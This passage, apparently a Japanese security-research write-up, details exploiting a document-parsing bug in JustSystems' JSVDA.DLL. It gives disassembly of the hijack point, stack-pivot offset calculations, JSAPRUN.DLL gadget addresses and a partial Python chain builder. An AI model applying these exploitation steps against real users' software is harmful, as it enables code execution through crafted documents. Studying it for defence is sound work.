[11] 0+0x4 JSVDA::object_OFRM* ‘ap_oframe_0’ (<class ‘type’>, 4)
[12] 4+0x4 unsigned int ‘av_documentType_4’ (<class ‘int’>, 4)
[13] 8+0x4 unsigned int ‘av_flags_8’ (<class ‘int’>, 4)
[14] c+0x4 struc_79aa9a* ‘ap_stackobject_c’ (<class ‘type’>, 4)
[15] 10+0x4 int ‘ap_null_10’ (<class ‘int’>, 4)
# The object located at offset -0x238 of the frame.
<class ‘structure’ name=’JSVDA::object_OFRM’ size=0x8> // [alloc.tag] OFRM
[0] 0+0x4 int ‘p_vftable_0’ (<class ‘int’>, 4) // [vftable] 0x278186F0
[1] 4+0x4 int ‘v_index_4’ (<class ‘int’>, 4) // {‘note’: ‘object_117c5 handle’, ‘alloc.tag’: ‘MFCM’, ‘__name__’: ‘v_index_4’}
このリストは、これから使用するオブジェクトの内容を示しています。前述したように、オブジェクトに含まれているフィールドは 1 つで、ドキュメントからの読み取りに使用されます。このフィールドは、まったく異なるモジュール内のオブジェクトの配列へのインデックスを表す整数です。この外部配列の各オブジェクトは開かれているドキュメントであり、アプリケーションの使用方法によって異なります。したがって、このフィールドは、モジュールの内容やユーザーがすでに実行したアクションがわからなければ偽造できないハンドルとして扱うことができます。
ただし、このオブジェクトの仮想メソッドテーブル参照の制御は可能です。また、まだアプリケーションを完全に停止させていないので、スタックの制御を獲得したら、別の場所からハンドルをキャプチャして使用し、後でこのオブジェクトを再構築することができます。その後、オブジェクトの読み込み中にフレームを修復すれば、アプリケーションで正常に機能するようになります。
.text:3C1FB1B6 loc_3C1FB1B6:
.text:3C1FB1B6 260 push [ebp+av_flags_8]
.text:3C1FB1B9 264 mov eax, [ebp+av_flags_8]
.text:3C1FB1BC 264 push ecx
.text:3C1FB1BD 268 and eax, 800h
.text:3C1FB1C2 268 mov ecx, esi
.text:3C1FB1C4 268 push ebx
.text:3C1FB1C5 26C mov [ebp+lv_struc_24c.field_14], eax
.text:3C1FB1CB 26C call object_9c2044::parseStream(DocumentViewStyles)_3a790a ; [note.exp] define some styles, ensure everything is initialized.
.text:3C1FB1D0 260 mov ebx, eax
.text:3C1FB1D2 260 cmp ebx, edi
.text:3C1FB1D4 260 jnz loc_3C1FAFD2
.text:3C1FB1DA 260 push [ebp+av_flags_8]
.text:3C1FB1DD 264 mov ecx, esi
.text:3C1FB1DF 264 push [ebp+av_documentType_4]
.text:3C1FB1E2 268 push [ebp+lp_oframe_230]
.text:3C1FB1E8 26C call object_9c2044::parseStream(DocumentEditStyles)_3a6cb2 ; [note.exp] hijack frame pointer here
.text:3C1FB1ED 260 mov ebx, eax
.text:3C1FB1EF 260 cmp ebx, edi
.text:3C1FB1F1 260 jnz loc_3C1FAFD2
.text:3C1FB1F7 260 push [ebp+lp_stackObject_234]
.text:3C1FB1FD 264 mov ecx, [esi+2D8h] ; this
.text:3C1FB203 264 push [ebp+av_flags_8] ; av_flags_8
.text:3C1FB206 268 push [ebp+av_documentType_4] ; av_documentType_4
.text:3C1FB209 26C push [ebp+lp_oframe_230] ; ap_oframe_0
.text:3C1FB20F 270 call object_10cbd2::processSomeStreams_778971 ; [note.exp] hijack execution here
.text:3C1FB214 264 mov ebx, eax
.text:3C1FB216 264 cmp ebx, edi
.text:3C1FB218 264 jnz loc_3C1FAFD2
最初に実行をハイジャックできるのは、制御している仮想メソッドテーブルを所有するオブジェクトが次のストリームを開くために使用されるときです。リストされているコードは、フレームポインタを制御するスコープを示しています。開発したエクスプロイトでは、このスコープで実行をハイジャックし、制御しているスタックに完全に切り替えることで、アドレス空間に実行コードを読み込むために必要なタスクを完了します。
.text:3C1FB1F7 260 push [ebp+lp_stackObject_234]
.text:3C1FB1FD 264 mov ecx, [esi+2D8h] ; this
.text:3C1FB203 264 push [ebp+av_flags_8] ; av_flags_8
.text:3C1FB206 268 push [ebp+av_documentType_4] ; av_documentType_4
.text:3C1FB209 26C push [ebp+lp_oframe_230] ; ap_oframe_0
.text:3C1FB20F 270 call object_10cbd2::processSomeStreams_778971 ; [note.exp] hijack execution here
\
.text:3C1F8971 000 push 0A4h
.text:3C1F8976 004 mov eax, offset byte_3C3CCE1A
.text:3C1F897B 004 call __EH_prolog3_catch_GS
.text:3C1F8980 0C4 mov edi, ecx
.text:3C1F8982 0C4 mov [ebp+lp_this_64], edi
…
.text:3C1F89B1 0C4 lea eax, [ebp+lp_stream_50]
.text:3C1F89B4 0C4 push eax
.text:3C1F89B5 0C8 push ebx
.text:3C1F89B6 0CC call object_FRM::getStream(GroupingFileName)_1b974d
\
.text:3BC3974D 000 push ebp
.text:3BC3974E 004 mov ebp, esp
.text:3BC39750 004 push [ebp+ap_result_4] ; JSVDA::object_OSEG **
.text:3BC39753 008 push 10h ; av_flags_8
.text:3BC39755 00C push offset str.GroupingFileName ; [OpenStreamByName.reference] 0x3bc3975d
.text:3BC3975A 010 push [ebp+ap_oframe_0] ; ap_oframe_0
.text:3BC3975D 014 call object_OFRM::openStreamByName?_132de4
\
.text:3BBB2DE4 000 push ebp
.text:3BBB2DE5 004 mov ebp, esp
.text:3BBB2DE7 004 push ecx
.text:3BBB2DE8 008 mov eax, ___security_cookie
.text:3BBB2DED 008 xor eax, ebp
.text:3BBB2DEF 008 mov [ebp+var_4], eax
…
.text:3BBB2E1D loc_3BBB2E1D:
.text:3BBB2E1D 00C push [ebp+ap_result_c]
.text:3BBB2E20 010 mov ecx, [ebp+ap_oframe_0]
.text:3BBB2E23 010 push 0
.text:3BBB2E25 014 push [ebp+av_flags_8]
.text:3BBB2E28 018 mov edx, [ecx+JSVDA::object_OFRM.p_vftable_0] ; [note.exp] this is ours
.text:3BBB2E2A 018 push 0
.text:3BBB2E2C 01C push eax
.text:3BBB2E2D 020 push ecx
.text:3BBB2E2E 024 call dword ptr [edx+10h] ; [note.exp] branch here
\
; int __stdcall object_OFRM::method_openStream_2b5c5(JSVDA::object_OFRM *ap_this_0, wchar_t *ap_streamName_4, int a_unused_8, char avb_flags_c, int a_unused_10, JSVDA::object_OSEG **ap_result_14)
.text:277CB5C5 object_OFRM::method_openStream_2b5c5 proc near
.text:277CB5C5
.text:277CB5C5 000 push ebp
.text:277CB5C6 004 mov ebp, esp
.text:277CB5C8 004 push ecx
.text:277CB5C9 008 push ecx
.text:277CB5CA 00C push ebx
.text:277CB5CB 010 mov ebx, [ebp+ap_result_14]
…
リストでは、実行中に呼び出されるさまざまなメソッドをたどって、JSVDA::object_OFRM::method_openStream_2b5c5 という名前の仮想メソッドに到達しています。このメソッドは逆参照され、ドキュメントから次のストリームを開くために呼び出されます。これは、実行をハイジャックするために使用する仮想メソッドです。
JSVDA::object_OFRM::method_openStream_2b5c5 仮想メソッドは JSVDA.DLL モジュールに属し、呼び出される前に 6 つのパラメータを取ります。新たな用途で使用する際は、この点を考慮する必要があります。スタックは実装によって調整され、前述のパラメータと保存されている戻りアドレスがスタックにプッシュされるので、新しいフレームにこの調整を含める必要があります。
この時点で、コードを実行するために必要なものはすべて揃っています。ただし、命令が実行された後に実行を再開するための何らかの方法が必要になります。これを実現するためには、現在のスタックを、制御しているスタックに切り替える必要があります。一般に、スタックを切り替える方法は 2 つあります。1 つは、アドレスを書き込める予測可能なアドレスを見つけてから、スタック切り替えを使用して、そのアドレスを %esp レジスタに明示的に割り当てるという方法です。もう 1 つは、内容を制御しているスタックの一部を参照するように %esp レジスタを調整するという方法です。この脆弱性を利用して、既知の場所に別の連続したデータチャンクを書き込まなくてもいいように、後者の方法が第一候補として選択されました。
スタックポインタの切り替え
フレームポインタを制御し、それを使用して命令ポインタに任意の値を割り当てることはできても、用意したドキュメントから実行コードを読み込むために複数の命令シーケンスを実行する明確な方法はありません。したがって、何らかの方法でメモリブロックにスタックポインタを設定し、このメモリブロックを使用して、ペイロードの読み込みに必要な各チャンクを実行した後で実行を再開できるようにする必要があります。
前述したように、この脆弱性はターゲットによって解析される最初のストリーム内で発生します。つまり、用意したドキュメントではアプリケーションにあまり影響を与えることができないので、ニーズを満たすには、ストリームパーサー内でロジックを見つける必要があります。モジュール内の複数の場所に存在するコードを実行しようとしているため、ストリーム解析の実装内に、大量のデータをアプリケーションのスタックに読み込むために使用できるロジックが必要になります。これを発見するには、スタイルレコードパーサーのエントリポイントで簡単なスクリプトを使用し、呼び出される関数をすべて列挙して、フレームに大きなサイズが割り当てられている関数を特定します。
次のクエリでは、object_9c2044::readStyleType(1000)_4d951d が有力候補のようです。メソッドを手動で逆解析すると、その実装がスタック上に 0x18C8 バイトを割り当て、関連するレコードからこの割り当てられたバッファに 0x1000 バイトを直接読み取ることを証明できます。
# Grab the address of the function containing the different cases for record parsing
Python> f = db.a(‘struc_3a9de4::parseStylesContent_3a7048’)
# List all functions that are called that also have a frame.
Python> db.functions.list(frame=True, ea=[ins.op_ref(oref) for oref in func.calls(f) if ‘x’ in oref])
[0] +0x0b8d12 : 0x3bb38d12..0x3bb38d71 : (1) FvD+ : __thiscall object_9c2d50::get_field(180)_b8d12 : lvars:001c args:2 refs:7 exits:1
[1] +0x109b2a : 0x3bb89b2a..0x3bb89b9e : (1) FvD+ : __thiscall object_10cbd2::get_field(3c)_109b2a : lvars:001c args:2 refs:100 exits:1
[2] +0x1329ce : 0x3bbb29ce..0x3bbb29e8 : (1) Fvt+ : __cdecl object_OSEG::setCurrentStreamPosition_1329ce : lvars:0000 args:5 refs:182 exits:1
[3] +0x1b6bf7 : 0x3bc36bf7..0x3bc36d66 : (1) FvD* : __thiscall object_9e5ffc::readStyleType(1000)_1b6bf7 : lvars:0044 args:4 refs:1 exits:1
[4] +0x1b8cd2 : 0x3bc38cd2..0x3bc38d0b : (1) FvD* : __thiscall object_9e5ffc::readStyleType(1001)_1b8cd2 : lvars:0004 args:4 refs:1 exits:1
[5] +0x1b8f99 : 0x3bc38f99..0x3bc39723 : (1) FvD* : __thiscall object_9bd0e4::readStyleType(2001)_1b8f99 : lvars:00a0 args:7 refs:2 exits:1
[6] +0x1cdcf6 : 0x3bc4dcf6..0x3bc4df7b : (1) FvD* : __thiscall object_9bd184::readStyleType(2002)_1cdcf6 : lvars:0040 args:5 refs:1 exits:1
[7] +0x1d24a9 : 0x3bc524a9..0x3bc52bef : (1) FvD* : __thiscall object_9bd0e4::readStyleType(2001)_1d24a9 : lvars:00b4 args:6 refs:1 exits:1
[8] +0x1d63a3 : 0x3bc563a3..0x3bc56601 : (1) FvT* : __thiscall object_9bd120::readStyleType(2003)_1d63a3 : lvars:0094 args:5 refs:1 exits:1
[9] +0x391906 : 0x3be11906..0x3be11d9c : (1) FvT* : __thiscall object_9d0d30::readStyleType(2008)_391906 : lvars:00c4 args:7 refs:1 exits:2
[10] +0x392cab : 0x3be12cab..0x3be12ee2 : (1) FvT* : __thiscall object_9d0d30::readStyleType(2010)_392cab : lvars:0064 args:7 refs:1 exits:1
[11] +0x393e4b : 0x3be13e4b..0x3be13f08 : (1) F-D+ : __cdecl object_OSEG::pushCurrentStream?_393e4b : lvars:000c args:5 refs:1 exits:1
[12] +0x3a6bec : 0x3be26bec..0x3be26cb2 : (1) FvD* : __thiscall struc_3a9de4::readStyleType(2005)_3a6bec : lvars:0014 args:4 refs:1 exits:1
[13] +0x3a6cf0 : 0x3be26cf0..0x3be26d44 : (1) FvD+ : __cdecl object_OSEG::decode_long_3a6cf0 : lvars:001c args:2 refs:86 exits:1
[14] +0x3a6d44 : 0x3be26d44..0x3be26d8b : (1) FvT+ : __thiscall box_header::deserialize_3a6d44 : lvars:000c args:2 refs:7 exits:1
[15] +0x3a6d8b : 0x3be26d8b..0x3be26fae : (1) F-T+ : __thiscall struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b : lvars:0008 args:2 refs:11 exits:1
[16] +0x3a6fae : 0x3be26fae..0x3be27048 : (1) FvT+ : __thiscall struc_3a9de4::readBoxHeader?_3a6fae : lvars:0024 args:2 refs:2 exits:1
[17] +0x3a7664 : 0x3be27664..0x3be276be : (1) FvT+ : __cdecl object_OSEG::read_ushort_3a7664 : lvars:001c args:2 refs:90 exits:1
[18] +0x3a96ed : 0x3be296ed..0x3be2972f : (1) F-D+ : __thiscall struc_3a9de4::get_flagField_3a96ed : lvars:0008 args:2 refs:2 exits:1
[19] +0x4d951d : 0x3bf5951d..0x3bf5958a : (1) FvD* : __cdecl object_9c2044::readStyleType(1000)_4d951d : lvars:18d4 args:4 refs:1 exits:1
[20] +0x6bf3a6 : 0x3c13f3a6..0x3c13f3e7 : (1) FvD+ : __thiscall object_9c2d50::create_field(64)_6bf3a6 : lvars:0020 args:1 refs:7 exits:1
[21] +0x779662 : 0x3c1f9662..0x3c1f96c0 : (1) F-t+ : __thiscall sub_3C1F9662 : lvars:0004 args:2 refs:3 exits:1
[22] +0x779828 : 0x3c1f9828..0x3c1f98ad : (1) FvD* : __thiscall object_9e82a0::deserialize_field_779828 : lvars:0028 args:2 refs:1 exits:1
[23] +0x77a7bf : 0x3c1fa7bf..0x3c1fa892 : (1) FvD* : __thiscall object_e7480::readStyleType(1002)_77a7bf : lvars:0028 args:6 refs:1 exits:1
[24] +0x7b15a6 : 0x3c2315a6..0x3c23161a : (1) FvD+ : __thiscall object_10cbd2::get_field(38)_7b15a6 : lvars:001c args:2 refs:36 exits:1
[25] +0x7b9e07 : 0x3c239e07..0x3c239e7c : (1) FvD+ : __thiscall object_10cbd2::get_field(34)_7b9e07 : lvars:001c args:2 refs:98 exits:1
[26] +0x861925 : 0x3c2e1925..0x3c2e1993 : (1) FvD+ : __thiscall object_9e82a0::method_createfield_861925 : lvars:0040 args:1 refs:2 exits:1
# It looks like item #19, object_9c2044::readStyleType(1000)_4d951d, has more space allocated for its “lvars” than any of the others.
この時点で、0x1000 レコードタイプを含めるように脆弱性の概念実証コードを調整できます。次に、メソッドにブレークポイントを設定して、ランタイムにメソッドが実行されていることを証明できます。ところが、ブレークポイントを設定してもメソッドが実行されません。代わりに、別の関数 object_9e5ffc::readStyleType(1000)_1b6bf7 が呼び出され、レコードタイプ 0x1000 が読み取られます。このメソッドの内容を逆解析すると、幸いなことに、スタック上に 0x1020 バイトを割り当てるために別の方法が使用されています。以下のリストに示すようにクエリを拡張していれば、これが見つかった可能性があります。
# Define a few temporary functions.
def guess_prolog(f, minimum):
”’Use the stackpoints to guess the prolog by searching for a minimum. Right way would be to check “$ ignore micro”…”’
fn, start = func.by(f), func.address(f)
iterable = (ea for ea, delta in func.chunks.stackpoints(f) if abs(idaapi.get_sp_delta(fn, ea)) > minimum)
return start, next(iterable, start)
# No register calls
filter_out_register = lambda opref: not isinstance(ins.op(opref), register_t)
# Use itertools.chain to flatten results through db.functions
flatten_calls = lambda fs: set(itertools.chain(fs, db.functions(ea=filter(func.has, map(ins.op_ref, itertools.chain(*map(func.calls, fs)))))))
# Start at style record parser, flatten the first layer of calls.
Python> f = db.a(‘struc_3a9de4::parseStylesContent_3a7048’)
Python> db.functions.list(ea=flatten_calls(flatten_calls(func.calls(f))))
[0] +0x00140c : 0x3ba8140c..0x3ba81412 : (1) J-D* : __thiscall JSFC_2094 : lvars:0000 args:8 refs:2256 exits:0
[1] +0x089368 : 0x3bb09368..0x3bb0936e : (1) J-D* : __stdcall JSFC_5190 : lvars:0000 args:2 refs:25 exits:0
[2] +0x090e42 : 0x3bb10e42..0x3bb10e48 : (1) J-D* : __thiscall JSFC_5438 : lvars:0000 args:3 refs:32 exits:0
[3] +0x0915ea : 0x3bb115ea..0x3bb115f0 : (1) J-D* : __thiscall JSFC_3583 : lvars:0000 args:2 refs:620 exits:0
…
[120] +0x8ea58a : 0x3c36a58a..0x3c36a5c1 : (1) LvD+ : __usercall __EH_prolog3_catch : lvars:0000 args:1 refs:1613 exits:1
[121] +0x8ea600 : 0x3c36a600..0x3c36a62d : (1) LvD+ : __usercall __alloca_probe : lvars:0000 args:2 refs:1082 exits:1
[122] +0x8ea914 : 0x3c36a914..0x3c36a920 : (1) LvD+ : __unknown ___report_rangecheckfailure : lvars:0000 args:0 refs:104 exits:2
# Filter those 123 functions looking for one with a large frame size.
Python> db.functions.list(ea=flatten_calls(func.calls(f)), frame=True, predicate=lambda f: func.frame(f).size > 0x1000)
[0] +0x4d951d : 0x3bf5951d..0x3bf5958a : (1) FvD* : __cdecl object_9c2044::readStyleType(1000)_4d951d : lvars:18d4 args:4 refs:1 exits:1
# Search another layer deeper.
Python> db.functions.list(ea=flatten_calls(flatten_calls(func.calls(f))), frame=True, predicate=lambda f: func.frame(f).size > 0x1000)
[0] +0x1b6d66 : 0x3bc36d66..0x3bc36e26 : (1) F?D+ : __cdecl object_OSEG::method_readHugeBuffer(1000)_1b6d66 : lvars:1020 args:7 refs:2 exits:1
[1] +0x4d951d : 0x3bf5951d..0x3bf5958a : (1) FvD* : __cdecl object_9c2044::readStyleType(1000)_4d951d : lvars:18d4 args:4 refs:1 exits:1
[2] +0x77ad4b : 0x3c1fad4b..0x3c1fae93 : (1) FvD+ : __thiscall sub_3C1FAD4B : lvars:1074 args:1 refs:1 exits:1
# 3 results. Record type 0x1000 looks like it’s worth considering (and hence was named as such).
このメソッドがランタイム要件を満たしていることを確認するには、このメソッドにブレークポイントを設定し、object_9e5ffc::readStyleType(1000)_1b6bf7 メソッドがストリームからスタックに 0x1000 バイトのデータを読み込むことを確認します。
大量のデータをストリームからフレームに読み取ることのできる候補が見つかったので、それに到達するためにスタックポインタをどの程度調整すればよいかを調べます。この値を決定するには、0x1000 サイズのバッファのオフセットと、実行を制御する時点でのスタックポインタの値の間の距離を計算する必要があります。両方のポイントのバックトレースは、0x3C1FAF0F、object_9c2044::method_processStreams_77af0f のメソッドで交差します。つまり、その関数に属するフレームからの距離だけを計算すればよいということです。
# Backtraces for the function where we hijack execution and where we can allocate a huge stack buffer.
Python> hijack_backtrace = [0x3bbb2de4, 0x3be276be, 0x3be26cb2, 0x3c1faf0f, 0x3c1fb3ed, 0x3c1fb4ab, 0x3be27954]
Python> huge_backtrace = [0x3bc36d66, 0x3bc36bf7, 0x3be27048, 0x3be276be, 0x3be26cb2, 0x3c1faf0f, 0x3c1fb3ed, 0x3c1fb4ab, 0x3be27954]
Python> diffindex = next(index for index, (L1,L2) in enumerate(zip(hijack_backtrace[::-1], huge_backtrace[::-1])) if L1 != L2)
Python> assert(hijack_backtrace[-diffindex] == huge_backtrace[-diffindex])
# Use the index as the common function call, and grab all the frames that are distinct.
Python> commonframe = func.frame(hijack_backtrace[-diffindex])
Python> hijack, huge = (listmap(func.frame, items) for items in [hijack_backtrace[:-diffindex], huge_backtrace[:-diffindex]])
# Display the functions belonging to the callstacks where we want to hijack execution,
# and the function to use for allocating a large amount of data from the document.
Python> pp(listmap(fcompose(func.by, func.name), hijack + [commonframe])[::-1])
[‘object_9c2044::method_processStreams_77af0f’,
‘object_9c2044::parseStream(DocumentEditStyles)_3a6cb2’,
‘object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be’,
‘object_OFRM::openStreamByName?_132de4’]
Python> pp(listmap(fcompose(func.by, func.name), huge + [commonframe])[::-1])
[‘object_9c2044::method_processStreams_77af0f’,
‘object_9c2044::parseStream(DocumentEditStyles)_3a6cb2’,
‘object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be’,
‘struc_3a9de4::parseStylesContent_3a7048’,
‘object_9e5ffc::readStyleType(1000)_1b6bf7’,
‘object_OSEG::method_readHugeBuffer(1000)_1b6d66’]
# Display the frame belonging to the function triggering the vulnerability. We will be hijacking the return
# pointer inside this frame at -0xA8 from the frame for `object_9c2044::method_processStreams_77af0f`.
Python> struc.right(commonframe, [frame.members for frame in hijack])[0]
<class ‘structure’ name=’$ F3BBB2DE4′ offset=-0xb4 size=0x20>
[0] -b4+0x2 __int16 ‘anonymous_0’ (<class ‘int’>, 2)
-b2+0x2 [None, 2]
[1] -b0+0x4 int ‘var_4’ (<class ‘int’>, 4)
[2] -ac+0x4 char[4] ‘ s’ [(<class ‘int’>, 1), 4]
[3] -a8+0x4 char[4] ‘ r’ [(<class ‘int’>, 1), 4]
[4] -a4+0x4 JSVDA::object_OFRM* ‘ap_oframe_0’ (<class ‘type’>, 4)
[5] -a0+0x4 char* ‘ap_streamName_4’ (<class ‘type’>, 4)
[6] -9c+0x4 int ‘av_flags_8’ (<class ‘int’>, 4)
[7] -98+0x4 JSVDA::object_OSEG** ‘ap_result_c’ (<class ‘type’>, 4)
# Display the frame belonging to the function that we can use for loading a large
# amount of data from the document. Our data is loaded at -0x114C from the common frame.
Python> struc.right(commonframe, [frame.members for frame in huge])[0]
<class ‘structure’ name=’$ F3BC36D66′ offset=-0x1168 size=0x1044>
-1168+0xc [None, 12]
[0] -115c+0x4 int ‘var_1014’ (<class ‘int’>, 4)
[1] -1158+0x4 int ‘var_1010’ (<class ‘int’>, 4)
[2] -1154+0x4 int ‘var_100C’ (<class ‘int’>, 4)
[3] -1150+0x4 box_header ‘lv_boxHeader_1008’ <class ‘structure’ name=’box_header’ offset=-0x1150 size=0x4>
[4] -114c+0x1000 char[4096] ‘lv_buffer(1000)_1004’ [(<class ‘int’>, 1), 4096]
[5] -14c+0x4 int ‘lv_canary_4’ (<class ‘int’>, 4)
[6] -148+0x4 char[4] ‘ s’ [(<class ‘int’>, 1), 4]
[7] -144+0x4 char[4] ‘ r’ [(<class ‘int’>, 1), 4]
[8] -140+0x4 JSVDA::object_OSEG* ‘ap_oseg_0’ (<class ‘type’>, 4)
[9] -13c+0x4 int ‘av_size_4’ (<class ‘int’>, 4)
[10] -138+0x4 int* ‘ap_resultSize_8’ (<class ‘type’>, 4)
[11] -134+0x4 object_9e5ffc::data* ‘ap_unused_c’ (<class ‘type’>, 4)
[12] -130+0x4 JSFC::CPtrArray** ‘ap_ptrArray_10’ (<class ‘type’>, 4)
[13] -12c+0x4 JSFC::CPtrArray** ‘ap_ptrArray_14’ (<class ‘type’>, 4)
[14] -128+0x4 int ‘avw_usedFromHeader_18’ (<class ‘int’>, 4)
# List the members needed to calculate the number of bytes we need to pivot the
# stack pointer into a buffer that contains more data read from the file.
Python> struc.right(commonframe, [frame.members for frame in hijack])[0].list(‘ *’)
[2] -ac:+0x4 char[4] ‘ s’ [(<class ‘int’>, 1), 4]
[3] -a8:+0x4 char[4] ‘ r’ [(<class ‘int’>, 1), 4]
Python> struc.right(commonframe, [frame.members for frame in huge])[0].list(index=range(8), predicate=lambda m: m.size >= 0x100)
[4] -114c:+0x1000 char[4096] ‘lv_buffer(1000)_1004’ [(<class ‘int’>, 1), 4096]
# Take the difference between the buffer with our stream data, and the stack
# pointer at the point where we can execute an address of our choosing.
Python> stack_offset_at_time_of_call = -0xA8 – 6 * 4 – 4
Python> -0x114c – stack_offset_at_time_of_call
-0x1088
各フレームを連続して配置すると、ハイジャック時点でのスタックポインタと 0x3BE276BE に属するフレーム間の距離が +0xA8 バイトであることがわかります。ただし前述したように、それを 6 つのパラメータで調整する必要があり、保存されている戻りアドレスも含めなければなりません。計算の結果、最初の距離の合計は 0xC4 バイトになります。次に、巨大なバッファを含むフレームから 0x3BE276BE が所有するフレームまでの距離を計算すると、合計で +0x114Cバイトになります。両方の距離の差は +0x1088 バイトです。この値を使用してスタックポインタを調整し、目的のスタックレイアウトを含む巨大なバッファに実行を直接切り替えられるようにします。
実行のハイジャックと切り替えの使用
これ以前に行っていた脆弱性の機能拡張により、アドレス空間内の任意の場所に任意の量のデータを書き込めるようになりました。フレームポインタを制御する方法も決定したので、そのフレームを所有するメソッド内の %ecx レジスタを制御することができます。このレジスタには、オブジェクトを参照する this ポインタが含まれていて、実装がオブジェクトのプロパティや必要な仮想メソッドにアクセスする必要がある場合に使用されます。これで、フレームポインタを制御した後、このオブジェクトを偽造して特定のアドレスに置き換え、仮想メソッドテーブルとして逆参照できるようになります。
.text:3BBB2E1D loc_3BBB2E1D: ; CODE XREF: object_OFRM::openStreamByName?_132de4+17↑j
.text:3BBB2E1D 00C push [ebp+ap_result_c]
.text:3BBB2E20 010 mov ecx, [ebp+ap_oframe_0]
.text:3BBB2E23 010 push 0
.text:3BBB2E25 014 push [ebp+av_flags_8]
.text:3BBB2E28 018 mov edx, [ecx+JSVDA::object_OFRM.p_vftable_0] ; [note.exp] we control this with our frame pointer
.text:3BBB2E2A 018 push 0
.text:3BBB2E2C 01C push eax
.text:3BBB2E2D 020 push ecx
.text:3BBB2E2E 024 call dword ptr [edx+10h] ; [note.exp] our forged vftable contains our target at +0x10
.text:3BBB2E31 00C lea esp, [ebp-8]
.text:3BBB2E34 00C pop esi
.text:3BBB2E35 008 mov ecx, [ebp+var_4]
.text:3BBB2E38 008 xor ecx, ebp ; StackCookie
.text:3BBB2E3A 008 call __security_check_cookie(x)
.text:3BBB2E3F 008 leave
.text:3BBB2E40 000 retn
リストに示すように、偽造した仮想メソッドテーブルのオフセット +0x10 で実行するアドレスを指定する必要があります。この結果、リストされた命令が、制御しているオブジェクトの仮想メソッドを逆参照するので、実行のハイジャックが可能になります。前のセクションでは、スタックポインタと、ストリームから 1 ページ分のデータをスタック上のバッファに読み込むために使用できる場所との間の距離を計算しました。あと残っている主な作業は、前のセクションで得られたサイズを参照して使用可能なスタック切り替えを特定し、スタックポインタを調整して指定のページ分のストリームデータにアクセスできるようにすることです。いったん切り替えると、ペイロードをアドレス空間に読み込むために必要な命令を継続的に実行できます。
アプリケーションのアドレス空間にある再配置ができないモジュールを列挙することにより、以下の命令シーケンスの多くのインスタンスを特定できます。これらの各シーケンスでは、%ecx レジスタから -0x18 の相対位置に読み込まれた値を使用してスタックポインタを調整できます。フレームの上書きにより %ecx レジスタを完全に制御できるので、以前に計算した距離を %ecx レジスタから -0x18 の位置に保存して、偽造したコールスタックに切り替えることができます。完成したプロセスを要約すると、偽の仮想メソッドテーブルを作成し、リストされたシーケンスの 1 つのアドレスをそのオフセット +0x10 に割り当て、そこから -0x18 の位置に計算した距離を保存します。この後仮想メソッドが呼び出されると、アプリケーションの命令ポインタを実際にハイジャックする最初の段階が開始されたことになります。
JSAPRUN.DLL 0x610202e0: add esp, dword ptr [ecx – 0x18]; ret;
JSAPRUN.DLL 0x61048954: add esp, dword ptr [ecx – 0x18]; dec edi; ret;
JSAPRUN.DLL 0x610a0265: add esp, dword ptr [ecx – 0x18]; dec edx; clc; call dword ptr [ecx + 0x56];
JSAPRUN.DLL 0x610a13c6: add esp, dword ptr [ecx – 0x18]; fnstsw word ptr [eax]; clc; call dword ptr [ecx + 0x56];
JSAPRUN.DLL 0x6108d2c6: add esp, dword ptr [ecx – 0x18]; fnstsw word ptr [ecx – 7]; call dword ptr [ecx – 0x7d];
JSAPRUN.DLL 0x61037b04: add esp, dword ptr [ecx – 0x18]; lahf; sar esi, 1; call dword ptr [ecx + 0x68];
JSAPRUN.DLL 0x61029acd: add esp, dword ptr [ecx – 0x18]; salc; mov cl, 0xff; call dword ptr [ecx + 0x56]
命令シーケンスの再利用に関する概論
任意のコードを読み込むのに必要なチャンクを組み立てる際、各シーケンスには、そのチャンクの必要性に影響する副作用と、そこから実行を継続できる方法を決定する属性が含まれています。この属性については、命令シーケンスが実行を継続する方法は限られています。
1 つ目のメソッドは一般にリターン指向プログラミングとして認識されており、スタックフレーム内に常駐するメモリの制御が必要です。2 つ目のメソッドは、分岐命令とレジスタに保存された即値を組み合わせるもので、実行を継続するにはレジスタの演算と制御が必要です。3 つ目のメソッドは、逆参照と分岐命令を使用します。このメソッドでは、レジスタからの相対アドレスの制御またはターゲットのアドレス空間内のグローバルを参照する分岐が必要であり、それらのメモリ位置を制御しなければなりません。ランタイムやオペレーティングシステムが提供する機能を使用する 4 つ目のメソッドがありますが、提供されているエクスプロイト内では、このメソッドは詳しく調査されていません。
各メソッドを利用するために必要な分岐は 2 種類あります。1 つは、現在の実行スコープに関する情報を保持する保存分岐、もう 1 つは現在のスコープを破棄するか、何の影響も与えない直接分岐です。一般に、目的のシーケンスを以前に実行されたチャンクから継続できるかどうかを区別する主な特性は、その開始位置と終了位置でスタックポインタにどのような影響を与えるかによって決まります。これは要するに、スタックポインタが、それに影響を与える命令に関して命令ポインタと同様の特性を持っているということです。
これらの仮定に基づき、エクスプロイトプロセス中に利用される必要な副作用を含むシーケンスのオフセットを格納したテーブルを使用して、2 つのデータを追跡します。1 つ目は、各チャンク全体のスタックデルタです(シーケンスがスタックポインタに直接影響する場合はスタックデルタを除きます)。2 つ目のデータは、コードチャンクが次のシーケンスまで実行を継続した後にスタックポインタに適用される調整に関するものです。
これら 2 つのデータに基づき、以下の Python コードを使用して、シーケンスを連鎖させるプロセスと、コード実行を利用するために必要な副作用を組み立てるプロセスを分離することができます。この抽象化を実装することでスタックレイアウトプロセスが簡略化され、より再利用に適した方法でコードシーケンスを組み立てられるようになります。
class StackReceiver(object):
def __init__(self, receiver):
self._receiver = receiver
self._state = coro = self.__sender(receiver)
next(coro)
def sender(self, receive_word):
release = None
while True:
while not release:
offset = (yield)
receive_word(offset)
adjust = (yield)
if adjust and isinstance(adjust, (tuple, list)):
[receive_word(integer) for integer in adjust]
elif adjust:
receive_word(dyn.block(adjust)))
release = (yield)
offset = (yield)
receive_word(offset)
if isinstance(release, (tuple, list)):
[receive_word(integer) for integer in release]
else:
receive_word(dyn.block(release))
adjust = (yield)
if adjust and isinstance(adjust, (tuple, list)):
[receive_word(integer) for integer in adjust]
elif adjust:
receive_word(dyn.block(adjust)))
release = (yield)
return
def send(self, snippet, *integers):
”’Simulate a return.”’
state = self._state
offset, adjust, release = snippet
state.send(offset)
state.send(integers if integers else adjust)
state.send(release)
def call(self, offset, *parameters):
”’Simulate a call.”’
state = self._state
offset, adjust, release = offset if isinstance(offset, (tuple, list)) else (offset, 0, 0)
state.send(offset)
state.send(None)
state.send(parameters)
def skip(self, count):
”’Clean up any extra parameters assumed by the current calling convention.”’
